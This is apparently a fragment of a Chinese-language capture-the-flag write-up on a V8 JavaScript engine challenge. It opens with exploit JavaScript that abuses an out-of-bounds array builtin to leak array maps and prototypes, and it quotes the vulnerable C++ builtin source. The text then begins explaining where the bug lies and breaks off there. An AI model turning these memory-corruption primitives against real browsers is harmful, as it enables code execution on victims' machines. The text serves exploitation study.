var a = newArray(0x100).fill(1.1) var b = newArray(0x100).fill(2.2); var obj = {a, b}; obj[0] = shellcode; a.setLength(0x110); var double_array_map = i2u_l(f2i(a[0x100])); var double_prototype = i2u_h(f2i(a[0x100])); console.log("double_array_map-->0x"+hex(double_array_map)); console.log("double_prototype-->0x"+hex(double_prototype)); b.setLength(0x110); var obj_array_map = i2u_l(f2i(b[0x100])); var obj_prototype = i2u_h(f2i(b[0x100])); console.log("obj_array_map-->0x"+hex(obj_array_map)); console.log("obj_prototype-->0x"+hex(obj_prototype));
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("Nope"))); }
Handle<JSArray> array = Cast<JSArray>(receiver);
ElementsKind kind = array->GetElementsKind();
if (kind != PACKED_DOUBLE_ELEMENTS) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("Need an array of double numbers"))); }
if (args.length() > 2) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("Too many arguments"))); } Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate); uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length())); if (args.length() == 1) { // read mode return *(isolate->factory()->NewNumber(elements->get_scalar(len))); } else { // write mode Handle<Object> value = args.at(1); if (!IsNumber(*value)) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("Need a number argument"))); } double num = static_cast<double>(Object::NumberValue(*value)); elements->set(len, num); returnReadOnlyRoots(isolate).undefined_value(); } }
if (kind != PACKED_DOUBLE_ELEMENTS) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("Need an array of double numbers"))); } ...
接着检查参数:需要一个func_obj作为参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
... if (args.length() != 2) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("Need exactly one argument"))); } uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
Handle<Object> func_obj = args.at(1); if (!IsJSFunction(*func_obj)) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("The argument must be a function"))); } ...
之后会遍历array的每一个元素,并调用func_obj,有如下要求:
func_obj的参数为array的单个元素,也就是double
func_obj的返回值也需要为一个double
返回的double会覆盖array对应索引位置
1 2 3 4 5 6 7 8 9 10 11 12 13
... for (uint32_t i = 0; i < len; i++) { double elem = Cast<FixedDoubleArray>(array->elements())->get_scalar(i); Handle<Object> elem_handle = factory->NewHeapNumber(elem); Handle<Object> result = Execution::Call(isolate, func_obj, array, 1, &elem_handle).ToHandleChecked(); if (!IsNumber(*result)) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("The function must return a number"))); } double result_value = static_cast<double>(Object::NumberValue(*result)); Cast<FixedDoubleArray>(array->elements())->set(i, result_value); } ...
思路
这个函数存在一个漏洞,注意遍历取值的代码:
1 2 3
for (uint32_t i = 0; i < len; i++) { double elem = Cast<FixedDoubleArray>(array->elements())->get_scalar(i); ...